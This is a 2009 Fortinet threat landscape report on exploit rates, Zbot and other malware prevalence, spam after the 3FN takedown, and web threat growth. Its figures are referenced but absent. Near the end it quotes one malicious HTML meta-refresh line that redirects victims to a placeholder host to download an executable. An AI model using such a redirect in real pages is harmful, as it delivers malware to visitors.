FortiGuard Center
Threat Research and Response
Prevalence Report
Threat Landscape Report - June 2009 EditionThe following statistics are compiled from Fortinet's FortiGate network security appliances and intelligence systems for the period May 21st - June 20th, 2009.
Exploits and Intrusion PreventionTop 10 Exploitations & RegionsTop 10 exploitation attempts detected for this period, ranked by vulnerability traffic. Percentage indicates the portion of activity the vulnerability accounted for out of all attacks reported in this edition. Severity indicates the general risk factor involved with the exploitation of the vulnerability, rated from low to critical. Critical issues are outlined in bold:
 Figure 1a: Top 5 regions by detected exploit attempts New Vulnerability Coverage
Malware Today
Regions & VolumeTop 5 regions for this period, ranked by distinct malware volume reported. Distinct malware volume indicates the amount of unique virus names (variants) that has been detected in the given regions, as opposed to total malware volume, which indicates the accumulated amount of all reported incidents. Total and unique malware volume trends for the last six reporting periods are also given. Figures 3a-3c below show these statistics:
For more information on daily activity per region, please visit our Virus World Map. Spam and Email Threats
Top 3 In The WildTop three email threats observed for this period. Top e-mails have been filtered to highlight diverse campaigns by removing duplicates and unsolicited advertisements. This helps focus on scams and malicious intent; the resulting list is ranked by Figures 5a-c below illustrate the most popular message tactics used during recent spam campaigns:
Crawling The WebWeb Traffic & GrowthThe following list breaks down the percentage of activity blocked for selected Web categories throughout this period. Percentage indicates how much activity was accounted for out of the four selected categories. Figure 6a shows a different scope, comparing only threat traffic: Malware, spyware, and phishing. The percentage shown in Figure 6a below indicates how much activity was accounted for out of these three threat categories. Figure 6b highlights the growth (or reduction) of selected web threat activity when compared period over period:
Activity RecapThere was quite a bit of interesting developments this period. Web threat traffic in general rose significantly, with a noticeable difference in malware and phishing. Figure 6b shows phishing growth at its highest yet; malware followed with a significant gain. This gain represents additional volume directed toward such malicious sites -- an ongoing trend as we continue to pave the way into the next generation of online services and threats. In tune with an increase of web-borne malware, Figure 3b also shows a steadily increasing detected volume rate. While malware detections have been increasing since March 2009, distinct volume (unique pieces of malicious code) detection remains relatively flat as seen in Figure 3b. Cyber criminals have been enjoying success by driving mass amounts of traffic to their threats, aided by a large online community utilizing a vast amount of vulnerable services. Building off a year-high active exploitation rate of 46.4% from last report, 62 of 108 reported vulnerabilities this period had exploits launched against them. More than half of newly reported vulnerabilities this period have been attacked, with a 57.4% active exploitation rate. As seen in Figure 1a, this activity was primarily in the U.S. with Singapore jumping quickly into second place, followed by Spain entering the list in fifth position. Third and fourth place holders from last period maintained their positions. For the first time in a long while, Netsky has been knocked out of our malware Top 10 list. Two of the main threat drivers we have seen this year -- Online Gaming Trojans and Virut -- remain very active with Online Gaming Trojans in first and tenth positions. W32/Virut.A, though falling two positions, held a strong fourth place amongst a barrage of Zbot activity. Two Zbot variants, W32/Zbot.M and W32/Zbot.V landed in second and third position respectively. Zbot, a very widespread and prevalent keylogging/data-siphoning trojan, was particularly active this month distributing its payload through fake eCard mail. The largest surge of Zbot activity can be seen in Figure 2, with W32/Zbot.M and W32/Zbot.V each going on two-day runs. Interestingly, JS/PackRedir.A moved up thirty-six positions to land in fifth place in our malware Top 10 list. This obfuscated javascript redirects unfortunate visitors to further malicious sites that host malicious components through PDF and SWF files. This underscores the popularity of obfuscated attacks, whether it be through binary packers or script obfuscators - and also helps contribute to the aforementioned growth in web-borne malware attacks. There seemed to be no direct affect on spam rates following an applaudable take-down of 3FN/Pricewert, another alleged spam-centric network. Last November, after now infamous McColo went down, we saw quite a dip in spam rates that took more than two months to recover. Figure 4a shows a very consistent spam rate after the early June takedown of 3FN/Pricewert - and many spam campaigns still remain aggressive and active. France took top spot for regionally received spam (Figure 4b), with Canada and Spain, respectively, entering the Top 5 list in fourth and fifth positions. Figures 5a and 5b reflect this, with both e-mails under different social engineering hooks / campaigns linked to Zbot malware. Figure 5c shows the Canadian Pharmacy gang hopping on board the fake eCard train. The Canadian Pharmacy gang and other campaigns (as seen in Figures 5b and 5c), are using simple HTM file attachments to hook users. The HTM files generally contain this content:
meta http-equiv='Refresh' content='0; url=hxxp://maldomain.com/malfile.exe'
SolutionsCustomers who use Fortinet’s FortiGuard Subscription Services should already be protected against the threats outlined in this report. Threat activity is compiled by Fortinet's FortiGuard Global Security Research Team using data gathered from its intelligence systems and FortiGate™ multi-threat security appliances in production worldwide. FortiGuard Subscription Services offer comprehensive security solutions including antivirus, intrusion prevention, Web content filtering and antispam capabilities. These services enable protection against threats on both application and network layers. FortiGuard Services are continuously updated by the FortiGuard Global Security Research Team, which enables Fortinet to deliver a combination of multi-layered security intelligence and true zero-day protection from new and emerging threats. These updates are delivered to all FortiGate, FortiMail and FortiClient products. |
